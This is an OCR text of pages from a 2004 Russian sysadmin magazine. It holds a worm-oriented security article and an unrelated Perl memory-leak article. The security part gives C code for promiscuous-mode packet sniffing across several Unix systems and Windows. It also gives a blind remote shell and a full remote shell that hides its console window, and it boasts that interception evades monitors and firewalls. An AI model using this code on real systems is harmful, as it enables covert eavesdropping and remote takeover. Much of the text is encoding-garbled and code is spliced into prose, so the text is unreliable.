int rc;static char  errmsg[80];*flagsp = 0;if ((rc=getmsg(fd,ctlp,NULL,flagsp))<0) return(-2);if (alarm(0)<0) return(-3);if ((rc&(MORECTL|MOREDATA))==(MORECTL|MOREDATA)) ↵↵↵↵↵

return(-4);if (rc&MORECTL) return(-5);if  (rc&MOREDATA)  return(-6);if  (ctlp->len<sizeof(long))  return(-7);return(0);

}#endifint setnic_promisc(nit_dev,nic_name)char *nit_dev;char *nic_name;{

int sock; struct ifreq f;#ifdef SUNOS4

struct strioctl si; struct timeval timeout;u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC;if ((sock = open(nit_dev, O_RDONLY)) < 0) return(-1);if (ioctl(sock, I_SRDOPT, (char *)RMSGD) < 0) return(-2);si.ic_timout = INFTIM;if (ioctl(sock, I_PUSH, "nbuf") < 0) return(-3);timeout.tv_sec = 1; timeout.tv_usec = 0; ↵↵↵↵↵

si.ic_cmd = NIOCSTIME;si.ic_len = sizeof(timeout); si.ic_dp  = (char *)&timeout;if (ioctl(sock, I_STR, (char *)&si) < 0) return(-4);si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize);si.ic_dp  = (char *)&chunksize;if (ioctl(sock, I_STR, (char *)&si) < 0) return(-5);strncpy(f.ifr_name,  nic_name,  sizeof(f.ifr_name));f.ifr_name[sizeof(f.ifr_name) - 1] = '\0'; ↵↵↵↵↵

si.ic_cmd = NIOCBIND;si.ic_len = sizeof(f); si.ic_dp  = (char *)&f;if (ioctl(sock, I_STR, (char *)&si) < 0) return(-6);si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags);si.ic_dp  = (char *)&if_flags;if (ioctl(sock, I_STR, (char *)&si) < 0) return(-7);if (ioctl(sock, I_FLUSH, (char *)FLUSHR) < 0) return(-8);

#endif#ifdef LINUX

  ioctl(fd, BIOCPROMISC, 0)

Page 76: 018 Системный Администратор 05 2004

74

безопасность

Совсем иная ситуация складывается с Windows NT.Пакетных сокетов она не поддерживает, с сетевым драй-вером напрямую работать не позволяет. Точнее, позволя-ет, но с очень большими предосторожностями и не безплясок с бубном (если нет бубна, на худой конец сойдет иобыкновенный оцинкованный таз, подробное изложениеритуала можно найти у Коберниченко в «Недокументиро-ванных возможностях Windows NT»). И хотя пакетныхснифферов под NT существует огромное количество (одиниз которых даже входит в DDK), все они требуют обяза-тельной установки специального драйвера, т.к. коррект-ная работа с транспортом в NT возможна только на уров-не ядра. Может ли червь притащить с собой такой драй-вер и динамически загрузить его в систему? Ну, вообще-то может, только это будет крайне громоздкое и неэле-гантное решение.

В Windows 2000/XP все гораздо проще. Там достаточ-но создать сырой сокет (в Windows 2000/XP наконец-топоявилась поддержка сырых сокетов!), поместить его напрослушиваемый интерфейс и, сделав сокету bind, пере-вести последний в неразборчивый режим, сказав:

где optval – переменная типа DWORD с единицей внутри,а N – количество возвращенных функцией байт.

Впервые исходный текст такого сниффера был опуб-ликован в шестом номере журнала 29A, затем его пере-драл Z0mnie, переложивший ассемблерный код на интер-национальный программистский язык Си++ (странно, апочему не Си?) и унаследовавший все ляпы оригинала.Ниже приведен его ключевой фрагмент с моими коммен-тариями, а полный исходный текст содержится в файлеsniffer.с. Другой источник вдохновения – демонстрацион-ный пример IPHDRINC, входящий в состав Platform SDK2000. Рекомендую.

if ((sock=socket(AF_INET,SOCK_PACKET,768))<0) return(-1);strcpy(f.ifr_name,  nic_name);  ↵↵↵↵↵

if  (ioctl(sock,SIOCGIFFLAGS,&f)<0)  return(-2);f.ifr_flags |= IFF_PROMISC; ↵↵↵↵↵

if  (ioctl(sock,SIOCSIFFLAGS,&f)<0)  return(-3);#endif#ifdef FREEBSD

char device[12]; int n=0; struct bpf_version bv; ↵↵↵↵↵unsigned int size;

do{sprintf(device,"%s%d",nit_dev,n++);  ↵↵↵↵↵

sock=open(device,O_RDONLY);} while(sock<0 && errno==EBUSY);if(ioctl(sock,BIOCVERSION,(char  *)&bv)<0)  return(-2);if((bv.bv_major!=BPF_MAJOR_VERSION)||  ↵↵↵↵↵

(bv.bv_minor<BPF_MINOR_VERSION))return(-3);strncpy(f.ifr_name,nic_name,sizeof(f.ifr_name));if(ioctl(sock,BIOCSETIF,(char  *)&f)<0)  return(-4);ioctl(sock,BIOCPROMISC,NULL);if(ioctl(sock,BIOCGBLEN,  ↵↵↵↵↵

(char  *)&size)<0)  return(-5);#endif#ifdef IRIX

struct sockaddr_raw sr; struct snoopfilter sf;int  size=CHUNKSIZE,on=1;  char  *interface;if((sock=socket(PF_RAW,SOCK_RAW,RAWPROTO_SNOOP))<0)  ↵↵↵↵↵

return(-1);sr.sr_family = AF_RAW; sr.sr_port = 0;if  (!(interface=(char  *)getenv("interface")))memset(sr.sr_ifname,0,sizeof(sr.sr_ifname));else strncpy(sr.sr_ifname,interface,sizeof(sr.sr_ifname));if(bind(sock,&sr,sizeof(sr))<0)  return(-2);  ↵↵↵↵↵

memset((char  *)&sf,0,sizeof(sf));if(ioctl(sock,SIOCADDSNOOP,&sf)<0)  return(-3);setsockopt(sock,SOL_SOCKET,SO_RCVBUF,  ↵↵↵↵↵

(char  *)&size,sizeof(size));if(ioctl(sock,SIOCSNOOPING,&on)<0)  return(-4);

#endif#ifdef SOLARIS

long buf[CHUNKSIZE]; dl_attach_req_t ar; ↵↵↵↵↵dl_promiscon_req_t  pr;

struct strioctl si; union DL_primitives *dp; ↵↵↵↵↵dl_bind_req_t  bind_req;

struct strbuf c; int flags;if  ((sock=open(nit_dev,2))<0)  return(-1);ar.dl_primitive=DL_ATTACH_REQ; ar.dl_ppa=0; c.maxlen=0;c.len=sizeof(dl_attach_req_t);  c.buf=(char  *)&ar;if  (putmsg(sock,&c,NULL,0)<0)  return(-2);c.maxlen=CHUNKSIZE;  c.len=0;  c.buf=(void  *)buf;strgetmsg(sock,&c,&flags,"dlokack");  ↵↵↵↵↵

dp=(union  DL_primitives  *)c.buf;if (dp->dl_primitive != DL_OK_ACK) return(-3);pr.dl_primitive=DL_PROMISCON_REQ;  ↵↵↵↵↵

pr.dl_level=DL_PROMISC_PHYS;  c.maxlen  =  0;c.len=sizeof(dl_promiscon_req_t);  c.buf=(char  *)&pr;if  (putmsg(sock,&c,NULL,0)<0)  return(-4);c.maxlen=CHUNKSIZE;  c.len=0;  c.buf=(void  *)buf;strgetmsg(sock,&c,&flags,"dlokack");  ↵↵↵↵↵

dp=(union  DL_primitives  *)c.buf;if (dp->dl_primitive != DL_OK_ACK) return(-5);bind_req.dl_primitive=DL_BIND_REQ; bind_req.dl_sap=0x800;bind_req.dl_max_conind=0; bind_req.dl_service_mode=DL_CLDLS;bind_req.dl_conn_mgmt=0;  bind_req.dl_xidtest_flg=0;  ↵↵↵↵↵

c.maxlen=0;c.len=sizeof(dl_bind_req_t);  c.buf=(char  *)&bind_req;if  (putmsg(sock,&c,NULL,0)<0)  return(-6);c.maxlen=CHUNKSIZE;  c.len=0;  c.buf=(void  *)buf;strgetmsg(sock,&c,&flags,"dlbindack");  ↵↵↵↵↵

dp=(union  DL_primitives  *)c.buf;if (dp->dl_primitive != DL_BIND_ACK) return(-7);si.ic_cmd=DLIOCRAW;  si.ic_timout=-1;  si.ic_len=0;  ↵↵↵↵↵

si.ic_dp=NULL;if (ioctl(sock, I_STR, &si)<0) return(-8);if  (ioctl(sock,I_FLUSH,FLUSHR)<0)  return(-9);

#endifreturn(sock);

}

Ëèñòèíã 6. Êëþ÷åâîé  ôðàãìåíò  êîäà  ïàêåòíîãî  sniffer  ïîäWindows 2000/XP// Ñîçäàåì ñûðîé ñîêåò//--------------------------------------------------------if ((raw_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) ==  ↵↵↵↵↵

-1) return -1;// Âîò òóò íåêîòîðûå ðóêîâîäñòâà óòâåðæäàþò, ÷òî ñûðîìó ñîêåòó// íàäî äàòü àòðèáóò IP_HDRINCL. Äàòü-òî, êîíå÷íî, ìîæíî,// íî âåäü ìîæíî è íå äàâàòü! Ôëàã IP_HDRINCL ñîîáùàåò// ñèñòåìå, ÷òî àïïëåò õî÷åò ñàì ôîðìèðîâàòü IP-çàãîëîâîê// îòïðàâëÿåìûõ ïàêåòîâ, à ïðèíÿòûå ïàêåòû åìó îòäàþòñÿ// ñ IP-çàãîëîâêîì â ëþáîì ñëó÷àå.// Ïîäðîáíîñòè â PlatformSDK →→→→→ TCP/IP Raw Sockets// if (setsockopt(raw_socket, IPPROTO_IP, IP_HDRINCL,// &optval, sizeof(optval))== -1)�// Ïåðå÷èñëÿåì âñå èíòåðôåéñû (ò.å. IP-àäðåñà âñåõ øëþçîâ,// ÷òî åñòü íà êîìïüþòåðå. Ïðè ppp-ïîäëþê÷åíèè ê Èíòåðíåòó// îáû÷íî èìååòñÿ âñåãî îäèí IP-àäðåñ, íàçíà÷åííûé// DHCP-ñåðâåðîì ïðîâàéäåðà, îäíàêî â ëîêàëüíîé ñåòè ýòî íå òàêif ((zzz = WSAIoctl(raw_socket, SIO_ADDRESS_LIST_QUERY, ↵↵↵↵↵

0, 0, addrlist, sizeof(addrlist), &N, 0, 0)) == ↵↵↵↵↵SOCKET_ERROR) return -1;

�// Òåïåðü ìû äîëæíû ñäåëàòü bind íà âñå èíòåðôåéñû, âûäåëèâ// êàæäûé â ñâîé ïîòîê (âñå ñîêåòû � áëîêèðóåìûå), îäíàêî,// â äàííîì äåìîíñòðàöèîííîì ïðèìåðå ñëóøàåòñÿ ëèøü IP ïåðâîãî// ïîïàâøåãîñÿ ïîä ðóêó èíòåðôåéñàaddr.sin_family = AF_INET;addr.sin_addr   = ((struct sockaddr_in*) ↵↵↵↵↵

llist->Address[0].lpSockaddr)->sin_addr;

WSAIoctl(raw_socket,  SIO_RCVALL,  &optval,  ↵↵↵↵↵sizeof(optval),  0,0,&N,0,0))

Page 77: 018 Системный Администратор 05 2004

75№5(18), май 2004

безопасность

Откомпилировав sniffer.c, запустите его на атакуемомузле с правами администратора и отправьте с узла атаку-ющего несколько TCP/UDP-пакетов, которые пропускаетfirewall. Смотрите, червь исправно вылавливает их! При-чем никаких открытых портов на атакуемом компьютерене добавляется и факт перехвата не фиксируется ни мо-ниторами, ни локальными брандмауэрами.

Для разоблачения пассивных слушателей были разра-ботаны специальные методы (краткое описание которыхможно найти, например, здесь: http://www.robertgraham.com/pubs/sniffing-faq.html), однако практической пользы от нихникакой, т.к. все они ориентированы на борьбу с длитель-ным прослушиванием, а червю для осуществления атакитребуется не больше нескольких секунд!

Организация удаленного shell в UNIX и NTПотребность в удаленном shell испытывают не только ха-керы, но и сами администраторы. Знаете, как неохотабывает в дождливый день тащиться через весь город толь-ко затем, чтобы прикрутить фитилек «коптящего» NT-сер-вера, на ходу стряхивая с себя остатки сна, да собственнодаже не сна, а тех его жалких урывков, в которые в изне-можении погружаешься прямо за монитором…

В UNIX-подобных операционных системах shell есть отрождения, а вот в NT его приходится реализовывать само-стоятельно. Как это можно сделать? По сети ходит совер-шенно чудовищный код, перенаправляющий весь ввод/вы-вод порожденного процесса в дескрипторы non-overlapping-сокетов. Считается, что раз уж non-overlapping-сокеты вомногих отношениях ведут себя так же, как и обычные фай-ловые манипуляторы, операционная система не заменитобмана, и командный интерпретатор будет работать с уда-ленным терминалом так же, как и с локальной консолью.Может быть (хотя это и крайне маловероятно), в какой-тоиз версий Windows такой прием и работает, однако на всехсовременных системах порожденный процесс попросту незнает, что ему с дескрипторами сокетов собственно делать,и весь ввод/вывод проваливается в тартарары…

Слепой shellЕсли разобраться, то для реализации удаленной атакиполноценный shell совсем необязателен, и на первых по-рах можно ограничиться «слепой» передачей команд штат-ного командного интерпретатора (естественно, с возмож-ностью удаленного запуска различных утилит, и в частно-сти утилиты calcs, обеспечивающей управление таблица-ми управления доступа к файлам).

В простейшем случае shell реализуется приблизитель-но так:

Полноценный shellДля комфортного администрирования удаленной систе-мы (равно как и атаки на нее) возможностей «слепого»shell более чем недостаточно, и неудивительно, если у васвозникнет желание хоть чуточку его улучшить, достигнув«прозрачного» взаимодействия с терминалом. И это дей-ствительно можно сделать! В этом нам помогут каналы(они же «пайпы» – от английского pipe).

Каналы, в отличие от сокетов, вполне корректно под-ключаются к дескрипторам ввода/вывода, и порожденныйпроцесс работает с ними точно так же, как и со стандарт-ным локальным терминалом, за тем исключением, чтовызовы WriteConsole никогда не перенаправляются в пайми потому удаленный терминал может работать далеко несо всеми консольными приложениями.

Корректно написанный shell требует создания как ми-нимум двух пайпов – один будет обслуживать стандарт-ный ввод, соответствующий дескриптору hStdInput, дру-гой – стандартный вывод, соответствующий дескрипторамhStdOutput и hStdError. Дескрипторы самих пайпов обяза-тельно должны быть наследуемыми, в противном случаепорожденный процесс просто не сможет до них «дотянуть-ся». А как сделать их наследуемыми? Да очень просто –всего лишь взвести флаг bInheritHandle в состояние TRUE,передавая его функции CreatePipe вместе со структуройLPSECURITY_ATTRIBUTES, инициализированной вполнеестественным образом.

Остается подготовить структуру STARTUPINFO, сопо-ставив дескрипторы стандартного ввода/вывода наследу-емым каналам, и ни в коем случае не забыть взвести флагSTARTF_USESTDHANDLES, иначе факт переназначениястандартных дескрипторов будет наглым образом проиг-норирован.

if (bind(raw_socket, (struct sockaddr*) ↵↵↵↵↵&addr,  sizeof(addr))==SOCKET_ERROR)  return  -1;

#define SIO_RCVALL  0x98000001// cîîáùàåì ñèñòåìå, ÷òî ìû õîòèì ïîëó÷àòü âñå ïàêåòû,// ïðîõîäÿùèå ìèìî íååif  (zzz=WSAIoctl(raw_socket,SIO_RCVALL,&optval,  ↵↵↵↵↵

sizeof(optval),0,0,&N,0,0))  return  �1;// ïîëó÷àåì âñå ïàêåòû, ïðèõîäÿùèå íà äàííûé èíòåðôåéñwhile(1){

if ((len = recv(raw_socket, buf, sizeof(buf), 0)) < 1) ↵↵↵↵↵return -1;

�}

Ëèñòèíã 7. Êëþ÷åâîé  ôðàãìåíò  ïðîñòåéøåãî  óäàëåííîãî  shell// Ìîòàåì öèêë, ïðèíèìàÿ ñ ñîêåòà êîìàíäû, ïîêà åñòü ÷òî ïðèíè-

ìàòüwhile(1){

// ïðèíèìàåì î÷åðåäíóþ ïîðöèþ äàííûõa = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0);// åñëè ñîåäèíåíèå íåîæèäàííî çàêðûëîñü, âûõîäèì èç öèêëàif (a < 1) break;// óâåëè÷èâàåì ñ÷åò÷èê êîëè÷åñòâà ïðèíÿòûõ ñèìâîëîâ// è âíåäðÿåì íà êîíåö ñòðîêè  çàâåðøàþùèé íîëüp += a; buf[p] = 0;// ñòðîêà ñîäåðæèò ñèìâîë ïåðåíîñà ñòðîêè?if ((ch = strpbrk(buf, xEOL)) != 0){ // äà, ñîäåðæèò

// îòñåêàåì ñèìâîë ïåðåíîñà è î÷èùàåì ñ÷åò÷èê*ch = 0; p = 0;

// åñëè ñòðîêà íå ïóñòà, ïåðåäàåì åå// êîìàíäíîìó èíòåðïðåòàòîðó íà âûïîëíåíèåif  (strlen(buf))

{sprintf(cmd, "%s%s", SHELL, buf); ↵↵↵↵↵

exec(cmd);} else break; // åñëè ýòî ïóñòàÿ ñòðîêà � âûõîäèì

}}

Page 78: 018 Системный Администратор 05 2004

76

безопасность

Однако это еще не все, и самое интересное нас ждетвпереди! Для связывания каналов с сокетом удаленноготерминала нам потребуется реализовать специальныйрезидентный диспетчер, считывающий поступающие дан-ные и перенаправляющий их в сокет или канал. Вся слож-ность в том, что проверка наличия данных в сокете (кана-ле) должна быть неблокируемой, в противном случае нампотребуются два диспетчера, каждый из которых будетвыполняться в «своем» потоке, что, согласитесь, громоз-дко, некрасиво и неэлегантно.

Обратившись к Platform SDK, мы найдем две полез-ные функции: PeerkNamePipe и ioctlsocket. Первая отве-чает за неблокируемое измерение «глубины» канала, авторая обслуживает сокеты. Теперь диспетчеризация вво-да/вывода становится тривиальной.

Откомпилировав любой из предлагаемых файлов (както: bind.c, reverse.c, find.c или reuse.c), вы получите впол-не комфортный shell, обеспечивающий прозрачное управ-ление удаленной системой. Только не пытайтесь запус-кать на нем FAR – все равно ничего хорошего из этой за-теи не выйдет! Другая проблема: при внезапном разрывесоединения, порожденные процессы так и останутся бол-таться в памяти, удерживая унаследованные сокеты ипрепятствуя их повторному использованию. Если это про-изойдет, вызовите «Диспетчер Задач» и прибейте всех«зобми» вручную. Разумеется, эту операцию можно осу-ществить и удаленно, воспользовавшись консольной ути-литой типа kill.

Также не помешает оснастить вашу версию shell про-цедурой авторизации, в противном случае в систему мо-гут проникнуть незваные гости, но это уже выходит запределы темы этой статьи.

Ëèñòèíã 8. Êëþ÷åâîé ôðàãìåíò ïîëíîöåííîãî óäàëåííîãî shellâìåñòå ñ äèñïåò÷åðîì ââîäà/âûâîäàsa.lpSecurityDescriptor = NULL;sa.nLength =  sizeof(SECURITY_ATTRIBUTES);sa.bInheritHandle = TRUE; // allow inheritable

// handles// create stdin pipeif (!CreatePipe(&cstdin,  &wstdin,  &sa, 0)) return -1;// create stdout pipeif (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1;// cset startupinfo for the spawned processGetStartupInfo(&si);si.dwFlags =  STARTF_USESTDHANDLES  |  STARTF_USESHOWWINDOW;si.wShowWindow = SW_HIDE;si.hStdOutput = cstdout;si.hStdError = cstdout;     // set the new handles for

// the child processsi.hStdInput = cstdin;//spawn the child processif (!CreateProcess(0, SHELL, 0, 0, TRUE, ↵↵↵↵↵

CREATE_NEW_CONSOLE,  0,0,&si,&pi))  return  -1;

while(GetExitCodeProcess(pi.hProcess,&fexit)  &&  ↵↵↵↵↵(fexit == STILL_ACTIVE))

{// check to see if there is any data to read from stdoutif (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N){

for (a = 0; a < total; a += MAX_BUF_SIZE){

ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);send(csocket, buf, N, 0);

}}if (!ioctlsocket(csocket, FIONREAD , &N) && N){

recv(csocket, buf, 1, 0);if (*buf == '\x0A') WriteFile(wstdin, "\x0D", ↵↵↵↵↵

1, &N, 0);WriteFile(wstdin, buf, 1, &N, 0);

}Sleep(1);

}

Page 79: 018 Системный Администратор 05 2004
Page 80: 018 Системный Администратор 05 2004

78

программирование

УТЕЧКИ ПАМЯТИВ ПРОГРАММАХ НА PERL

АЛЕКСЕЙ МИЧУРИН

Все программисты знают, сколько неприятностей могут доставить утечки памяти, как сложнобывает локализовать и устранить их причины. И любой, кто работал с Perl, смог по достоинствуоценить систему сборки мусора, которой оснащён интерпретатор этого языка. Она автоматическизаботится об удалении данных, которые больше не понадобятся, и защищает таким образомот утечек памяти. У программиста может появиться некая иллюзия неограниченной мощи этогомеханизма. Но так ли он всемогущ?

Page 81: 018 Системный Администратор 05 2004

79№5(18), май 2004

программирование

Perl – прекрасный язык (и мы сегодня в этом ещё убедим-ся), позволяющий программисту весьма кратко выразитьдостаточно ёмкие мысли. Приведу пример программы,состоящей из одной строки и демонстрирующей утечкупамяти в Perl:

Если вы решите испытать эту нехитрую программу, топриготовьтесь к тому, что события будут развиваться стре-мительно. На моей станции она «съедает» всю память задоли минуты.

В ней, как вы видите, реализован бесконечный цикл.В теле цикла созданы две локальные переменные $a и$b. Ожидается, что, как и положено локальным перемен-ным, они будут уничтожаться каждый раз по окончаниивыполнения тела цикла, но этого не происходит. Почему?

Причина кроется в устройстве системы сборки мусо-ра. Последняя просто ведёт учёт всех ссылок, сделан-ных на переменную. Если переменная вышла из облас-ти видимости, но ссылки на неё остались, то данные неудаляются (хотя имя переменной становится недоступ-ным). Это обеспечивает работоспособность всех ссылок,но может ввести в заблуждение систему сборки мусора.Обратите внимание, ссылки не анализируются на пред-мет, будут они удалены в ближайшее время или не бу-дут. Они подсчитываются все без исключения.

Иллюстрацией к сказанному может послужить абсо-лютно «бытовая» ситуация, встречающаяся сплошь ирядом:

Как видите, за пределами блока имя $var уже не до-ступно, но данные, ранее ассоциированные с этим име-нем, сохранились и будут в сохранности, пока не будетудалена последняя ссылка на них1.

В нашем однострочном примере переменные $a и$b содержат ссылки друг на друга. Несмотря на то, чтоих имена становятся не видны сразу по окончании вы-полнения блока, система сборки мусора не удаляет дан-ные, ассоциированные с ними, неуклонно следуя свое-му алгоритму: данные считаются «мусором» только втом случае, если ссылок на них не осталось.

Может быть, кому-то покажется, что подобная ситу-ация попахивает надуманностью и встречается редко?Отнюдь. Например, у вас может быть массив структур2,описывающих товары, и другой массив структур, опи-сывающих магазины. Структуры, описывающие това-ры, могут содержать указатели на магазины, а струк-туры, описывающие магазины, могут ссылаться на эле-менты списка товаров. Вот мы и получили две конст-рукции, ссылающиеся друг на друга. Больше того, ре-ляционные базы данных просто-таки сами подсказыва-ют подобные решения.

Давайте разберёмся, как же решить проблему ути-лизации ненужных данных.

Наименее громоздким мне представляется следующийобъект для исследований:

Процедура create_ring создаёт и возвращает массивхэшей, каждый из которых имеет два ключа. Под име-нем «value» хранится некая величина, под именем«next_ref» – ссылка на следующий элемент массива.Последний элемент несёт ссылку на первый элемент (но-мер ноль), зацикливая конструкцию.

Вызывая её в бесконечном цикле и следя за процес-сами в системе, легко убедиться, что в приведённой про-грамме есть утечка памяти. Элементы списка, созда-ваемого create_ring, не удаляются по той же причине,что и $a и $b из первого примера: когда выполнениеблока доходит до конца, остаются неудалённые ссылкина элементы списка (как вы помните, эти ссылки со-держатся в хэшах, составляющих список, под именами«next_ref»).

Ситуация не изменится даже в том случае, если чутьизменить наш код (привожу только важные и изменён-ные строки):

Не поможет и такое изменение:

В двух последних примерах по окончании выполненияблока мы будем терять ссылку на элемент массива (впервом) или ссылку на сам массив (во втором), но дан-ные массива, уже никому не доступные, будут бережносохраняться системой сборки мусора.

Один из способов освободить память – разорватьэтот круг (вернее, ring) вручную, добавив в конец блокасоответствующую инструкцию:

Одного разрыва вполне достаточно, чтобы системасборки мусора один за другим удалила все элементы

# ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!while (1) { my ($a,$b); $a=\$b; $b=\$a }

my $ref;{ my $var=1975; $ref=\$var; }# print $var # íåâåðíî, èìÿ $var óæå íå äîñòóïíîprint $$ref;# áóäåò íàïå÷àòàíî '1975', äàííûå íå èñ÷åçëè

01: #!/usr/bin/perl -w02:03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!04:05: sub create_ring {06: my ($length)=@_;07: my @ring=({'value' => 0})x$length;08: for (my $i=0; $i<$length; $i++) {09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length];10: }11: return @ring;12: }13:14: while (1) { my @ring=create_ring(10) }

...03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!...11: return $ring[0];...14: while (1) { my $ring=create_ring(10) }

...03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!...11: return \@ring;...14: while (1) { my $ring=create_ring(10) }

...14: while (1) {15: my $ring=create_ring(10);16: $ring->[0]{'next_ref'}=undef;17: }

Page 82: 018 Системный Администратор 05 2004

80

программирование

структуры, но этот способ не выглядит изящно. Мы про-сто взяли на себя труд убрать мусор, но так и не заста-вили работать над этим интерпретатор Perl. Неужели всётак безнадёжно? Нет! В Perl есть механизмы, позволяю-щие «растолковать» ему все детали нашего замысла, яговорю об объектно-ориентированном подходе.

Первый пример будет основан на связывании пере-менной с классом3.

Я буду рассчитывать на то, что читатель знает об ус-тройстве модулей Perl и знаком с механизмом связыва-ния объектов с переменными. Вкратце скажу, что Perlпозволяет4 ассоциировать переменную с классом с по-мощью оператора tie. После такого связывания перемен-ная начинает жить по собственным законам, при любойманипуляции с ней вызываются соответствующие мето-ды объекта, с которым она связана.

Вот код, реализующий обозначенный подход:

Для упрощения я не стал выделять модуль, описыва-ющий класс, в отдельный файл. Связывать объект бу-дем со скалярной переменной, это тоже, наверное, нелучшее решение: естественнее было бы выбрать мас-сив, а если бы мы захотели сделать нашу разработкуболее масштабируемой и развиваемой, то логичнее былобы выбрать хэш. Но для связывания таких «сложных»конструкций нам пришлось бы реализовать множествометодов, для скаляра же достаточно четырёх, эта ком-пактность и наглядность лучше всего подойдёт для об-суждения в статье.

Итак, в строках 3-27 описан модуль MyRing. Он со-держит уже знакомую нам функцию создания и инициа-лизации массива хэшей (create_ring) и методы, необхо-димые для обеспечения работоспособности связаннойпеременной.

Метод TIESCALAR (строка 14) вызывается в моментсвязывания, он получает от оператора tie список допол-нительных параметров, в котором у нас будет только однавеличина – длина требуемого массива. Получив парамет-ры, метод создаёт наш массив (вызов create_ring($length)),ассоциирует его с классом (вызов bless) и возвращает«новоиспечённый» объект.

Метод FETCH (строка 19) вызывается, когда выпол-няется чтение значения связанной переменной. Ему пе-редаётся один параметр – сам объект. Наша реализа-ция FETCH не делает ничего, просто возвращает то, чтополучила без изменений.

Метод STORE (строка 21) отвечает за запись в пере-менную. Я не придумал, что в него написать, он простовыдаёт грозное сообщение и «убивает» программу.

И наконец, метод DESTROY (строка 23) – это то, чтонам нужно. Он вызывается автоматически всегда, когдапеременная выходит за область видимости или стано-вится недоступна по другим причинам (например, когдапрограмма завершается). Наш метод DESTROY разры-вает кольцевую структуру (строка 25 выглядит знакомо,не правда ли?), позволяя системе сборки мусора довес-ти свою работу до конца.

Со строки 28 начинается основная программа, где мысейчас и воспользуемся нашим классом MyRing.

В строках 30-42 приведён небольшой фрагмент кода,демонстрирующий работоспособность нашей «кухни».

В строке 32 мы создаём локальную переменную $a,которая будет существовать только в пределах блока,находящегося в строках 31-41. Во вложенном блоке (стро-ки 33-37) мы создаём локальную переменную $ring, ко-торую сразу же связываем с классом MyRing (строка 35).Для проверки корректности структуры $ring записыва-ем строку «test» в её первый узел (строка 36). Для про-верки корректности сборки мусора сохраняем копию$ring в $a. Что произойдёт, когда вложенный блок за-кончится? Оказывается, метод DESTROY не будет выз-ван! Это и понятно, мы сохранили указатель на нашуструктуру (помните? $ring является указателем на мас-сив) в переменной $a, а она всё ещё существует. Пере-менной $ring не стало, но пропало только имя, данныецелы. Мы убеждаемся в этом в строке 39. Здесь же мыубеждаемся в корректности структуры $ring (теперь $a),получив доступ к первому узлу как к узлу, следующемупосле нулевого. А метод DESTROY будет вызван толь-ко тогда, когда исчезнет переменная $a. Таким обра-зом, всё работает правильно.

Обратите внимание и на то, что при выполнении ма-нипуляций с $ring (строка 35) вызывается метод FETCH,отвечающий за чтение переменной, а не STORE, ответ-ственный за запись. Действительно, чтобы проделатьоперацию, описанную в строке 35, нам пришлось считатьзначение указателя $ring, а не записать его.

А вот строка 42 не случайно закомментирована. Опе-

01: #!/usr/bin/perl -w02:03: package MyRing;04:05: sub create_ring {06: my ($length)=@_;07: my @ring=({'value' => 0})x$length;08: for (my $i=0; $i<$length; $i++) {09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length];10: }11: return \@ring;12: }13:14: sub TIESCALAR {15: my ($class, $length)=@_;16: return bless create_ring($length), $class;17: }18:19: sub FETCH { return $_[0]; }20:21: sub STORE { die "ïèñàòü â MyRing íåëüçÿ.\n" }22:23: sub DESTROY {24: my ($self)=shift;25: $self->[0]{'next_ref'}=undef;26: }27:28: package main;29:30: # äåìîíñòðàöèÿ ðàáîòîñïîñîáíîñòè31: {32: my $a;33: {34: tie my $ring, 'MyRing', 10;35: $ring->[1]{'value'}='test';36: $a=$ring;37: }38: # $ring áîëüøå íå âèäíà, íî äàííûå öåëû39: print $a->[0]{'next_ref'}{'value'}."\n";40: # çäåñü âûçûâàåòñÿ DESTROY41: }42: # $ring=7; # ýòî âûçîâåò ìåòîä STORE43:44: while (1) { tie my $ring, 'MyRing', 10; }

Page 83: 018 Системный Администратор 05 2004

81№5(18), май 2004

программирование

рация присвоения автоматически вызывала бы методSTORE, а он бы аварийно остановил выполнение про-граммы.

Наконец в строке 44 реализован всё тот же бесконеч-ный цикл. На каждом проходе в его теле вновь создаёт-ся локальная переменная $ring, но теперь мы связываемеё с классом MyRing. Благодаря этому по завершенииблока Perl передаёт управление методу DESTROY, кото-рый корректно освобождает память.

Таким образом, нам больше не приходится удалятькольцевую структуру «руками». Мы научили системусборки мусора обращаться с нашими данными, и Perlтеперь сам (...почти) защищает нас от утечек памяти.

Я продемонстрировал предельно мудрёную схему,можно ли обойтись меньшей кровью? Конечно! В Perlгрань объектно-ориентированного программированиявесьма размыта. Взгляните на следующий код, в нём нетпочти ничего, напоминающего о его объектно-ориенти-рованности:

Обратите внимание, вызов create_ring в основной про-грамме вообще ни чем не выдаёт объектно-ориентиро-ванную природу переменной $ring. Правда, самуcreate_ring нам пришлось чуть доработать, сделав еёкаким-никаким, а всё-таки конструктором (вызов bless встроке 11), и «экспортировав»5 её в модуль main (имяmain::create_ring в строке 5).

Метод DESTROY остался без изменений. Вызывать-ся он будет в тех же случаях и обеспечит такие же функ-ции, как и в предыдущем примере.

Я бы не стал говорить, что какой-то из двух приве-дённых методов решения проблемы лучше, а другойхуже. У каждого есть свои преимущества и недостатки.Первый длинноват, но код последователен и легко чита-ется. Второй компактен, но менее универсален и его ло-гику понять сложнее (вернее, сложнее разглядеть в нёмобъектно-ориентированный подход). Первый код рабо-тает чуть медленнее, поскольку переменная связана.Второй работает чуть быстрее, но допускает выполне-ние бессмысленных действий, например:

О плюсах и минусах можно спорить бесконечно. Кро-

ме того, существует великое множество промежуточ-ных подходов, сочетающих традиционное и объектно-ориентированное программирование в разных пропор-циях. Приводить и обсуждать их все я, конечно, не буду,пусть каждый пишет код так, как привык.

Гораздо интереснее задать другой вопрос: насколь-ко надёжна наша защита от утечек памяти? Не будемнаивны, она тоже небезупречна и болеет теми же бо-лезнями, что и однострочная программа из самого пер-вого листинга.

